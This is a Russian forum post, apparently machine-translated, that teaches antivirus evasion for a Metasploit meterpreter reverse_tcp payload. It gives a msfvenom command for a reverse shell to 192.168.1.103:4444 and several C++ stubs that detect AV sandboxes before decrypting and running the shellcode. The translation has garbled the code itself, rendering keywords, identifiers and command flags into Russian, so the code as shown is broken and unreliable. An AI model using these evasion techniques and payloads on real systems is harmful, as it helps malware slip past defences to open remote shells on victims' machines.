Тестирование современных антивирусных части программного обеспечения 1

waxman

Пользователь
Сообщения
34
Реакции
2
Это Введение в эту обширную тему, в которой речь пойдет об уклонении от АВ подписи попытки обнаружения запуска проекта metasploit для Windows/оболочки/грузоподъемности reverse_tcp под носом Касперский, Авира, Аваст и еще 58 (на их ресурсе VirusTotal издание).

Давайте начнем со сбора информации – то, что АВ на самом деле для того, чтобы остановить вредоносное ПО.

Статические контрмеры, сканирование-время ака анализа

Статического сигнатурного анализа осуществляется на основе “черного списка” способ. Когда новая вредоносная программа получает обнаружена аналитики АВ, выдана подпись. Эта подпись является частью определенной двоичный (исполняемый), часто сначала выполняется байт вредоносного binray. АВ имеет базу данных, содержащую миллионы подписей и сравнивает отсканированный код с этой базой данных.

Большая проблема на основе сигнатурного анализа заключается в том, что он не может обнаружить новые вредоносные программы. Поэтому для обхода сигнатурного анализа основан один должен просто создать новый код или делать мелкие точные изменения в существующий код, чтобы стереть настоящую подпись. Некоторые вирусы даже изменить себя каждый раз, когда они выполняются!

Статического эвристического анализа – АВ проверяет бинарных закономерностей, которые могут быть найдены в компьютере. Есть много возможных правил, который зависит от конкретного АВ. Главным преимуществом эвристического анализа является то, что он может быть использован для обнаружения новых вредоносных программ, которых нет в базе сигнатур. Главный недостаток заключается в том, что он генерирует ложных срабатываний. Например, программу, которая начинается копия explorer.exe и пишет в своей виртуальной памяти считается вредоносным.

Если мы зашифровать вредоносный Шелл-код, оба эти явно устарели. Нет никаких подписей или действия, которые должны быть найдены в зашифрованных байт. Вот почему все хорошие АВ опираться на динамический анализ.

Динамический контрмеры, иначе во время выполнения анализа

Это включает в себя именно то, что я описала (сигнатурный и эвристический анализ), во время выполнения. АВ знает, что зашифрованный вредоносный Шелл-код должен быть расшифрован во время выполнения, поэтому он пытается поймать его, запустив программу в эмулируемой среде. Для того, чтобы обойти время выполнения анализа, наша программа должна определить, когда это в эмулированной среде АВ и когда он в реальной среде. Конечно, АВ не может использовать слишком много системных ресурсов (память, вычислительные мощности и т. д.) что обеспечивает некоторые отличия от реальной операционной системы. Это не все, что есть в антивирусное программное обеспечение, а скорее то, что является общим для почти всех поставщиков. Есть несколько способов для выполнения анализа, чем то, что я описала, но это выходит за рамки данной статьи. Эти методы существенно различаются по конкретным АВ, так что я разберусь с тем в части 2. Давайте попробуем обмануть упомянутых методов!

Решения

Я использовал metasploit для создания обратного TCP meterpreter груз для Windows 10, потому что все АВС должны иметь подписи за это. Тогда, я встроил полезных данных в программу на C++, который почему-то решает, если он должен расшифровать и запустить полезную нагрузку или нет (АВ имитируемой среды). Вот что я сделал, чтобы получить зашифрованные данные для моей программы на языке C++:

Я покрыл большую часть этого в одной из моих статей. Новый материал “–Ф С”, что делает его готовым для программы C и –B ‘\х00’, который говорит, пожалуйста, не включает нулевой символ, потому что они будут интерпретироваться как конец строки в C. вот один лайнер, который создается полезная нагрузка:

1
msfvenom -п окна/х64/meterpreter/reverse_tcp -Ф С -Б '\х00' -я 0 'localhost' в=192.168.1.103 LPORT=4444
Для начала, я тестировал его с некодированные нагрузки (я 0) и получили ожидаемые результаты:



Все эти программы состоят из 2 частей:

  1. Зашифрованное содержимое
  2. Заглушка – часть кода, которая решает, когда для расшифровки и запуска полезной нагрузки (реальной системы) и когда выйти из программы (если АВ песочнице обнаружен).
Конечно, эти примеры обхода scantime анализ (проверено на VirusTotal), потому что вредоносный код на диске в зашифрованном виде и расшифровываются только в оперативной памяти. Интересно то, как эти программы понимают, что они выполняются в AV песочнице.

Выделив слишком много памяти

Первый пример использует тот факт, что эмулируется среда не имеет много места на жестком диске. Программа пытается выделить 10 000 000 байт памяти. Если это не удается (memdmp == нуль), программа просто завершается. В противном случае, расшифровать и запустить полезную нагрузку.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#определить TOO_MUCH_MEM 100000000

Тип int основной() {

голец *memdmp = нуль;

memdmp = (Тип char *) танос(TOO_MUCH_MEM);

если( memdmp != Значение NULL ) {

функцию memset( memdmp, 00, TOO_MUCH_MEM);

бесплатно( memdmp );

decryptAndRunPayload();

}

возврат 0;

}
Этот метод известен давно, но АВ не может позволить себе столько пространства для его эмулированной среде, так как люди не хотели бы их AV для использования гигабайты своего жесткого диска. Это иногда используется для обнаружения виртуальных средах, таких как VirtualBox и VMware и тоже.

Десять миллионов шагом

Давайте использовать тот факт, что анализ среды АВ имеет слабые вычислительные мощности. Эта программа делает сто миллионов шагом в ‘для’ петли. AV имеет, чтобы ускорить процесс, поэтому пользователю не стоит ждать слишком много, так что пропустим шагом. Затем программа проверяет значение счетчика и, если видит, что оно увеличивается или не обнаружить среде программы.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#определить MAX_OP 100000000

Тип int основной() {

Тип int счетчик = 0;

для( Тип int я =0; я < MAX_OP; я++ ) счетчик++;

если( счетчик == Макс_ОП ) {

DecryptAndRunPayload();

}

возврат 0;

}
Тот же принцип, эмулированной среде не может выполнить так же, как реальный.

http://www.TryToOpenInvalidURL.com/

Есть много “я не должен быть в состоянии сделать это” и “я должен быть в состоянии сделать это” методов. Это одна опирается на тот факт, что АВ эмуляторы не разрешить программе подключение к интернету, потому что нет времени ждать ответа сервера. Эта программа использует тот факт, что AV эмулятора сервера на поддельный сайт, независимо от того, что вы просите.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
код #include <wininet невозможно.ч>

#Pragma комментарий(lib, то "на wininet.либ")

Тип int основной() {

голец cononstart[] = "http://www.notrealwebsite.com//"; //неверный URL-адрес

голец readbuf[1024];

HINTERNET httpopen, openurl;

Типа DWORD чтения;

httpopen = InternetOpen( нуль, INTERNET_OPEN_TYPE_DIRECT, нуль, нуль, 0 ); openurl = InternetOpenUrl( httpopen, cononstart, нуль, нуль, INTERNET_FLAG_RELOAD | интернет _FLAG_NO_CACHE_WRITE, значение NULL );

если ( !openurl ) { // не удалось открыть, мы не в AV

InternetCloseHandle(httpopen);

InternetCloseHandle(openurl);

decryptAndRunPayload();

}

еще { // доступ к успешным, мы находимся в AV и перенаправлены на специальную страницу

InternetCloseHandle(httpopen);

InternetCloseHandle(openurl);

}

возврат 0;

}
Как ты меня назвал?

Видимо, АВС изменить имя процесса. Мы используем имя процесса, чтобы решить, если мы хотим расшифровать груз.

1
2
3
4
5
6
7
8
9
10
11
12
13
инт основных(инт агдс, типа char * аргумент argv[]) {

если (strstr(массива argv[0], "test.exe") >0) {

decryptPayload();

runPayload();

}

возврат 0;

}
Коротким и сладким! Имеет очевидный недостаток – он не будет работать, если пользователь переименовывает файл.

Зная вашу цель

В этом примере мы будем использовать какой-то конкретной информации о целевой системе. Это может быть имя пользователя, наличие определенного файла и т. д.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#определить ПУТЬ_К_ФАЙЛУ "C:\\Users\\bob\\Desktop\\tmp.file"

Тип int основной() {

Дескриптор файла;

DWORD с тмп;

LPCVOID Бафф = "1234";

голец outputbuff[5]={0};

файл = функция createfile(ПУТЬ_К_ФАЙЛУ, помощью generic_write, 0, нуль, значению create_always, FILE_ATTRIBUTE_NORMAL, 0);

если(функция writefile(файл, Бафф, функция strlen((константный Тип char *)Бафф), &тмп, значение NULL)) {

CloseHandle(файл);

файл = функция createfile(ПУТЬ_К_ФАЙЛУ, помощью generic_read, FILE_SHARE_READ, нуль, параметра open_existing,

FILE_ATTRIBUTE_НОРМАЛЬНЫЙ , ЗНАЧЕНИЕ NULL);

если(функцию readfile(файл,outputbuff,4,&тмп,значение NULL)) {

если(strncmp(Бафф,outputbuff,4)==0) {

decryptCodeSection();

startShellCode();

}

}

CloseHandle(файл);

}

Deletefile и(ПУТЬ_К_ФАЙЛУ);



возврат 0;

}
Излишне говорить, что это работает. На самом деле, сканеров антивирусов, как правило не создавать и писать в файл, который находится в пути не предвидится. Я сначала удивился, потому что я ожидал AV к самостоятельной адаптации к хост-ПК, но это не тот случай.

Заключение

Антивирусные системы обнаружения не сложно обойти, если вы понимаете, как они работают. Оставайтесь с нами для продвинутых концепций в обход АВ. Если Вы не можете ждать, то я рекомендую обратить внимание на высококачественные инструменты с открытым исходным кодом для pentesters, такие как Давид, который был представлен на последней конференции Black шляпа.

Зная, что у оппонента работ для хакеров, а также их цели – изучить инструменты хакеры торговли и вам будет безопаснее. Если вы хотите проверить свой компьютер на наличие вредоносных программ, методы исследования стойкости вредоносных программ, а также связь с управляющим сервером. Взгляните на места, где обеспечением обычно проживает, а также весь трафик в и из вашей машины.
 
Сверху